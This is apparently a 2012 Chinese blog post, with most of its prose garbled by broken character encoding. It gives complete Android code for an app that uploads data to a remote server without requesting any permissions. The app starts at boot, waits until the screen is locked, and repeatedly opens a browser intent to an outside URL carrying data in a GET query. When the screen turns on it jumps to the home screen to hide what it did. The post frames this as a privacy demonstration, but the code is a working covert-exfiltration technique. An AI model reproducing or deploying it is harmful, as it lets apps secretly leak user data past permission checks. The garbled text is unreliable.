�������أ��������ḻ�ȫ������վ��

��ҳ �� ������Ѷ �� ��ש����֮˭�����ҵ�����(0Ȩ���ϴ�����)

��ש����֮˭�����ҵ�����(0Ȩ���ϴ�����)

���������������� ��Դ����վʱ�䣺2012/1/14 10:40:08������С��A-A+

���ߣ�������373�����ۣ�1����ǩ��

�ϴ�д��һƪ����  ��ש���� ֮ ˭�����ҵ���˽(android�û���˽��̽) �������ζ�ȡϵͳlog��������������Ȩ����ʾ���⡣

 

����������΢�õ��ģ�������0Ȩ���ϴ�����

ͬ�ϴν���һ������Ȼ�󲿷��û��ڰ�װappʱ��Ȩ�޾����Ӷ��������������Ժ��û�����Ȩ������Խ��Խ���ӵġ�

������������������һ��0Ȩ���ϴ���������

 

һ��ԭ��

�������õĻ����Ǹ���������bug��

Ȼ�������ֻ�����ʱ�ϴ����ݡ�

�����ϴ������أ�Ϊ�˱���Ȩ�����ǵ�����������

 

����֪������Intentת����ʱ�򣬿���ת������ΪACTION_VIEW��activity���������������������ǣ����Դ�һ��uri��ȥ��

soga,˵������������˰ɡ�����ʹ��http��GET���Σ���Ȼֻ�ܴ����ģ����Ѿ����ˣ����ο�һ���ܴ������ֽ�Ҳ���Ǻܿ͹۵ġ�

���ڴ�ʲô��ÿ����ʵ�����ֹ��ܵ��˶�����Ŀ�İɡ�

 

����ʵ��

�������嵥�ļ�������Ҫ�����κ�Ȩ�ޣ�ֻ��Ҫдһ���㲥�����ߺ�һ�����񼴿�

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package
="org.igeek.hack"
android:versionCode
="1"
android:versionName
="1.0">
<uses-sdk android:minSdkVersion="8" />


<application android:icon="@drawable/icon" android:label="@string/app_name">

<receiver android:name =".reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >

<service android:name=".service.HackerService"/>

</application>
</manifest>

 

Ȼ�����ǹ㲥�����ߵ�ʵ�֣��ܼ򵥣������Ŀ���һ������

package org.igeek.hack.reciver;

import org.igeek.hack.service.HackerService;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

/**
*
@author ���� E-mail:[email protected]
*
@version ����ʱ�䣺2012-01-13 ����10:32:21
* ��˵��
*/
public class HackReceiver extends BroadcastReceiver {


@Override
public void onReceive(Context context, Intent intent) {
Intent it=new Intent(context, HackerService.class);
context.startService(it);
}


}


 ���󣬾��ǹؼ����֣�������ʵ��
 

  1 package org.igeek.hack.service;
2
3 import java.util.Random;
4 import android.app.KeyguardManager;
5 import android.app.Service;
6 import android.content.BroadcastReceiver;
7 import android.content.Context;
8 import android.content.Intent;
9 import android.content.IntentFilter;
10 import android.net.Uri;
11 import android.os.Handler;
12 import android.os.IBinder;
13 import android.util.Log;
14
15 /**
16 *
17 * @author ���� E-mail:[email protected]
18 * @version ����ʱ�䣺2012-01-13 ����10:42:11
19 * ��˵��
20 */
21 public class HackerService extends Service {
22 private ScreenOnBroadcastReciver soReciver;
23 private ScreenOFFBroadcastReciver sfReciver;
24 private Handler handler;
25
26 final static String LOG_TAG="hack";
27 KeyguardManager keyguardManager;
28 Intent it;
29
30 //GET�ύ��ַ
31 final String HACK_URL="http://www.igeek.org/hack?info=";
32
33
34
35 private Runnable r=new Runnable() {
36
37 @Override
38 public void run() {
39
40
41 //����������״̬
42 if(keyguardManager.inKeyguardRestrictedInputMode()){
43
44 //GET�ϴ�����������
45 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat();
46
47 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
48 Uri uri=Uri.parse(HACK_URL+hackInfo);
49 it.setData(uri);
50 startActivity(it);
51 Log.i(LOG_TAG,"�ύ����->"+HACK_URL+hackInfo);
52
53 //ÿ��5�룬ִ��һ���ϴ�
54 handler.postDelayed(r, 5000);
55 }
56 }
57 };
58
59
60
61 @Override
62 public void onStart(Intent intent, int startId) {
63 super.onStart(intent, startId);
64
65 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
66 it=new Intent(Intent.ACTION_VIEW);
67
68 handler=new Handler();
69
70 Log.i(LOG_TAG, "�������ɣ�ע���㲥������");
71 soReciver=new ScreenOnBroadcastReciver();
72 sfReciver=new ScreenOFFBroadcastReciver();
73
74 IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON");
75 registerReceiver(soReciver, onIntentFilter);
76
77 IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF");
78 registerReceiver(sfReciver, offIntentFilter);
79 }
80
81
82 @Override
83 public IBinder onBind(Intent intent) {
84 return null;
85 }
86
87 /**
88 * �����㲥������
89 * @author hang
90 *
91 */
92 class ScreenOnBroadcastReciver extends BroadcastReceiver {
93
94 @Override
95 public void onReceive(Context context, Intent intent) {
96
97 Log.i(LOG_TAG, "��Ļ�⿪");
98 handler.removeCallbacks(r);
99 intent.setAction(Intent.ACTION_MAIN);
100 intent.addCategory(Intent.CATEGORY_HOME);
101 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
102
103 Log.i(LOG_TAG, "ת��HOME");
104 startActivity(intent);
105
106 }
107
108 }
109
110 /**
111 * �����㲥������
112 * @author hang
113 *
114 */
115 class ScreenOFFBroadcastReciver extends BroadcastReceiver {
116
117 @Override
118 public void onReceive(final Context context, Intent intent) {
119
120
121
122 Log.i(LOG_TAG, "��Ļ��ס");
123
124 //500ms����ʼִ���ϴ�����
125 handler.postDelayed(r, 500);
126 }
127
128 }
129 }

 

������

�������������ԣ��ػ���������������������������������û����ʲô��Ӧ���������ٿ���������������Hack����Ҳû���κ�Ȩ����ʾ��������

 

������������������log

you see? ��������ô���ĵĺ��ˡ�

 

�����̰���ַ��hack_0p_upload.zip

 

������

��ô��å�ļ���������˭������������google marketҲ���ҵ�һ����Ϳ��android app���ҵIJ������ӣ����һ��Dz���˫�ۣ���ȫ��һ��Ҫע���ġ�

���⣬���ڿ�������������bug��ò��360���ֻ���ȫ�������Լ�����������������û�ԣ���Ϊ�Һ������Ҵ�����װ��ȫ������

 

��������

�Ķ����ĺ�����ʲô����? ���� �˸�������!

  • 2791 ϲ��ϲ��
  • 2101 ����
  • 800 �ѹ��ѹ�
  • 1219 ����
  • 4049 Χ��Χ��
  • 5602 ��������
��������
��������
�������� �鿴��������(1)
�dz�:
����: ���� �� �� �Ҳ�Ҫ ���� �� ������ �ͻ� ʺ ����
����: 0/500 (����������Ҫ�������˲�����ʾ)

���ೣ������